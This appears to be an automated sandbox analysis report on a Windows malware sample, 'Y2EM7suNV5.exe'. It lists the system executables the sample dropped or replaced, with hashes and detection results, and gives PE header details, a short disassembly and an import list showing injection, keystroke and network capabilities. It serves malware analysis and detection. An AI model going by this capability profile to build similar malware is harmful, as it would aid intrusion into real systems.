Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1363456
Entropy (8bit):	4.860600882433425
Encrypted:	false
SSDEEP:	12288:s81ONGG1YGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:Z61YGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	7C89926A5DB6DE37F65340F4BF155552
SHA1:	A09F22AC69B627D5BB798E5550E90C12F2C15418
SHA-256:	AFF210CE5A7C137B7FECE19F8B42EC1DB274CD8F9190081C8A83F26179964FCD
SHA-512:	D3C6868A751CD8DB624B0D0E4BA68EC2C741335EBFDEC53E7412088AC4C9D24DAFEDA62C01B1CDBC7FF6F2FD9F70979273DAEC780F452D56E78C9C8C0103EC8D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~.B.:.,.:.,.:.,.3...8.,.3...*.,.3...5.,.:.-...,.3...{.,.3...8.,...R.;.,.3...;.,.3...;.,.Rich:.,.........PE..d....H#X..........".................8t............................................................... ......................................X........... ...............................................................................P............................text............................... ..`.data....G.......2..................@....pdata..............................@..@.rsrc... ........ ..................@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\snmptrap.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1250816
Entropy (8bit):	4.676603264684558
Encrypted:	false
SSDEEP:	12288:ovGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:ovGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	A49EA66E364E0A22B0B157F826B918B2
SHA1:	57EF4F79F0AF4960A579CACA9DBA9F10303C2055
SHA-256:	1E61E38B2EC3A435F5646CB5D4B7FE7E4059C22360B48C108DA8B71593A1ADBE
SHA-512:	992EEEBF49D8A3317334E87BC0162660DC60A27852A66BA2C9EAC57309D888C5168AF9EAAD7D506139134A178D7C36CB6CD2A82FD69006A8DB29AA1AA9DEA97C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................q.......`.......f...............v.......\|.......a.......d.....Rich....................PE..d.....[J.........."......&...........&.......................................P...................... ......................................$...d....`.......P..................................................................t.......`............................text....%.......&.................. ..`.data........@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc.......p.......6..............@...k.[J8.....[JE...+.[JR.....[J\...+.[JR.....[Jg...........ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.msvcrt.dll.WS2_32.dll...............................................................................................................................................................................................

C:\Windows\System32\sppsvc.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4106240
Entropy (8bit):	7.319133438864516
Encrypted:	false
SSDEEP:	98304:/FUxeecao3yudFnNEDHIeK1vcbE7xQ2l:/WEr93tFNJeK8m9
MD5:	083CF8C6E10788A4A3E3EA6C58AC8DB9
SHA1:	00D493778D540D39D7919A57B9E9802C04C8C191
SHA-256:	CEA15D1B310E5FDEEC58D3727EE22FE6BCB1D33DD5E41C10B3CDA559CAA37136
SHA-512:	A92F985364DCB5B456313B1BFBECF4F8B9763ADCC8320D0B660AE388BD4E7314923B683D438D8E9BA63550AFCFA73F91890DB762C323315ADB7FA9F36979BF3E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%^..a?u^a?u^a?u^F..^c?u^hG.^e?u^hG.^.?u^hG.^n?u^a?t^&>u^hG.^6?u^hG.^T?u^F..^`?u^hG.^`?u^hG.^`?u^hG.^`?u^Richa?u^........................PE..d...d..L..........".......1.....................................CS P..........>.....tc?...............................................0.l....0.......5..%....4.<...................<.0.8...............................................0............................text...x.1.......1................. ..`.data....x...01..z..."1.............@....pdata..<.....4.......4.............@..@.rsrc....%....5..&....5.............@..@.reloc........5.......5.............@...U..LP......L]......Lg......L]...7..Lt......L]...n..L.......L]...,..L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.msvcrt.dll.RPCRT4.dll.ole32.dll.............................................................................................................................

C:\Windows\System32\vds.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1767424
Entropy (8bit):	5.336708732363
Encrypted:	false
SSDEEP:	24576:EvMgzNciyYe13kvoUUGJ0eeQ2yPyzc+E7xonyVGc/dT5N:KcibeUoULJLeQVPyzc+E7xQ2l
MD5:	C0EFE00354E214CCBBB2E4BB24457C5E
SHA1:	DC4FCD9664524810C3B022B29D797603A1CE9BBC
SHA-256:	36ACCF0DE1E0528C9C02DA2D20435B3193CF1B87FFA483F3E413C93C051C285B
SHA-512:	5068EFF63B338956F3E3F35AB3F0FB40B8B2F846225BED88DD8F12236DAE22059F9ED36ABA8D5F785D728704FDCA20469A181032F1B5CB2985A9B02305914EAB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................................................................................Rich...........................PE..d... ..L.........."..........P......lT.......................................0%.....c ............... ...................................#.....D....@..........."..................P...........................................d...................................text............................... ..`.data...x...........................@....pdata...".......$..................@..@.rsrc........@......................@..@.reloc.......P......................@......L ......L+...7..L5......L+...h..L@......L+......LH......Li......L.......L.......L.......L+......L.......L.......L;......Ld......L.......L.......L.......L.......L+......L.......L!......L+......LB......Le......L.......L.......L.......L.......L#...\..L0...5..L=......LJ......LV...........

C:\Windows\System32\wbem\WmiApSrv.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1434624
Entropy (8bit):	4.932948303057403
Encrypted:	false
SSDEEP:	24576:l/UpJVuv0GJ0eeQ2yPyzc+E7xonyVGc/dT5N:1U0vrJLeQVPyzc+E7xQ2l
MD5:	02EFB422F37507852397F636C2568965
SHA1:	16B8BA9E57AC17D7F8C966D9922E28449BF60407
SHA-256:	AA002575FA5AF51C2E4283D4668A569E046F40CAA8E8D3183142C4EBF660E6B9
SHA-512:	0D8F68E21B569E7BCD3A0CEFDF9B2EC42711F3EF0D7C7A07863F8B2FF994C42FED8BCC3D6BB5DB297D9FA5963FEA1B82EB21452CB808B95FC7E4899E02934EF8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-...~...~...~...~...~......~......~......~......~...~...~......~......~.o~...~......~Rich...~........PE..d....-JX.........."..........N......0..........@.............................. .....Hl.... .......... .................................@%..0........ .. ...............................8...........................P............... ................................text...Z........................... ..`.rdata..............................@..@.data...............................@....pdata........... ..................@..@.rsrc... .... ......................@..@.reloc.......0......................@...................................................................................................................................................................................................................................................................

C:\Windows\System32\wbengine.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2083328
Entropy (8bit):	7.082132329861403
Encrypted:	false
SSDEEP:	49152:XLbYI4I0bVKBUhx8CRSrzQ8vbeKgSRpXxmDYeQeaUx7qEaYwJLeQVPyzc+E7xQ2l:3YZkBU6ZvCK/phm8eQN8o1vcbE7xQ2l
MD5:	5C8D02D23D962F821A26E884633C519A
SHA1:	9B04BA763E458DED1CC583238390A4044B5B5F7C
SHA-256:	10359DE1435E1795E6147B3BCC7E0F46A1C3C0AFEAA636833184688F09AECFA9
SHA-512:	1E778D9C8FB9FE3EF3AD648A6C9A19B72C599D9CD87E240787BFCFB7C3F39253E757C92577F6C25C8AA4DE330148E0619AD1A2CDFFCA12A39D0428E75E53872B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|...\|...\|...u.4.~...u.%.w...u.2.c...\|...~..u.".e...u.+.....u.3.}...u.5.}...u.0.}...Rich\|...........................PE..d...Q..L.........."......8..........H........................................ ...... .............. ...............................B......X...@...............................................................................t....................................text....6.......8.................. ..`.data....-...P.......>..............@....pdata...............L..............@..@.rsrc...............................@..@.reloc....... ......................@...U..L.......L.......L.......L.......L....7..L.......L.......L....,..L....0..L....n..L.......L.......L.......L.......L)......L4...1..LA......LM......LX...q..Le...........ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.RPCRT4.dll.VSSAPI.DLL.SETUPAPI.dll.NETA

C:\Windows\ehome\ehrecvr.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1276416
Entropy (8bit):	6.986295962078028
Encrypted:	false
SSDEEP:	24576:uGne3sZEIOLMCldIgb8GJ0eeQ2yPyzc+E7xonyVGc/dT5N:w8ZizdIgbjJLeQVPyzc+E7xQ2l
MD5:	C6F20688FDD72D81EF9949078A447956
SHA1:	676153023BC54073411935B79F17C7B5A5FACD0A
SHA-256:	ADFB840CCB0BDF97419D55D155C441101DC1B900F813B39FBE58E6B8A931B790
SHA-512:	74DC634BB7AE7474012A4969379BCC7F3C41E6B62A7C6B260F7A1E01C23186E9712B2636784511C7A3AF041302C8067DB5F18B51294A339D9D7B3147012897D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X..9...9...9...A8..9...A)..9...A>..9...9...8...A...9...A'..9...A?..9...A9..9...A<..9..Rich.9..........PE..d......L..........".................4G.........@..................................................... ..............................dm......do..........`....`...K...................'..8............................................0..p............................text...h........................... ..`.rdata.......0......................@..@.data...l....@.......(..............@....pdata...K...`...L...:..............@..@.rsrc...`...........................@..@.reloc..............................@...U..Lx......L.......L.......L....7..L.......L....,..L....0..L.......L.......L.......L.......L.......L....................ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.SHLWAPI.dll.VERSION.dll.ehTrace.dll.SHELL32.dll.slc.dll........

C:\Windows\ehome\ehsched.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1363456
Entropy (8bit):	4.839460189761025
Encrypted:	false
SSDEEP:	24576:hQwhcGJ0eeQ2yPyzc+E7xonyVGc/dT5N:hnhDJLeQVPyzc+E7xQ2l
MD5:	D368E1F7850AA6D566AF182533561B7B
SHA1:	7F16625DFD44423D28B7AFA736E631BFB12B3031
SHA-256:	AC99EF310A7D045813981F81A0AA67B642B9780A839C312D8A5EB5B493F67883
SHA-512:	7067E0ED675B2AA1D66F06DBAAE99504A76FDB3540EC9242B4FED090C4983414B61FFFEF57C35B20171F0283C1FBD5D39946DAA77648910392773C53FD149EBF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... Z..N...N...N.......N.......N.......N...O.u.N.......N.......N.......N.......N.Rich..N.........................PE..d...5.[J..........".................L?.........@....................................5A............... .................................................p............................+..8............................................0...............................text...l........................... ..`.rdata.......0....... ..............@..@.data...............................@....pdata..............................@..@.rsrc...p...........................@..@.reloc.......0......................@...k.[JP.....[J]...+.[Jj.....[Jt.....[J....+.[Jj.....[J......[J....................ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.slc.dll........................................................................................

\Device\Mup\user-PC\PIPE\srvsvc

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.25236229454546
Encrypted:	false
SSDEEP:	3:rmHD/tH//llleYhtC4d1ydYhtq5kZty:rmHurYty
MD5:	1FF3DE735A87D719B35ED6D00689168C
SHA1:	6711956511BAB8C677A411EA33830E1A2139AC84
SHA-256:	36A192FDB029E0357EB75DF25BF3C2EF035DBCBB9B811527B7276C5CA6D2177E
SHA-512:	1160A3480E574315832F8A9B60D0A6293A14D3A259EA3B6E220EEC46D72504C66AF2712A7CEF030F0E0F548845FD1AFC1FEC43985FE56614A6AF27FB75C3BA57
Malicious:	false
Preview:	........t........................O2Kp....xZG.n......]..........+.H`.........O2Kp....xZG.n.....,..l..@E............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.426206847372407
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Y2EM7suNV5.exe
File size:	1'723'392 bytes
MD5:	0f2ac23e89c953b8c3d95bc75d76b9e1
SHA1:	ba4674b7e301e920293fabc40262ed59a14e6e93
SHA256:	178612bc81b4b9f01025463820ab22f48d22d168d5599a7e0a2768e4c9b51b8d
SHA512:	3db33486d69f5f4ac39ba294523298f79c753d0dc78c9149f55367bd17bf7e69aa32df03a6a882fb1e652b0063df9698558e18d3f2b8b7538d73a31922533c7b
SSDEEP:	49152:iTvCWMTQYxsWR7agc/HAasJLeQVPyzc+E7xQ2l:i8TQYxsWR4PAas1vcbE7xQ2l
TLSH:	6485E10273C1C062FFAB96334F9AF6515ABC79660123E51F13981DBAB9701B1463E7A3
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6722E3C5 [Thu Oct 31 01:56:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F0B1CC546E3h
jmp 00007F0B1CC53FEFh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F0B1CC541CDh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F0B1CC5419Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F0B1CC56D8Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F0B1CC56DD8h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F0B1CC56DC1h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x40704	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	91fc2bf7e7c220f1a394488ff8a5f59d	False	0.5655038368336026	data	6.668270064222886	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x40704	0x40800	956d2a73f09324a6933840adb31c03b1	False	0.8979227228682171	data	7.823356827877041	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x115000	0x96000	0x95000	f44a755eea20702a41cd2758072ff5e7	False	0.9749403575922819	data	7.924165504109751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xd4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xd4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xd5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xd6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xd69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xd8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xda038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xda4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xda4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xdaa84	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xdb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xdb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xdbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xdc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xdc7b8	0x379cc	data			1.0003336435633132
RT_GROUP_ICON	0x114184	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0x1141fc	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x114210	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x114224	0x14	data	English	Great Britain	1.25
RT_VERSION	0x114238	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x114314	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
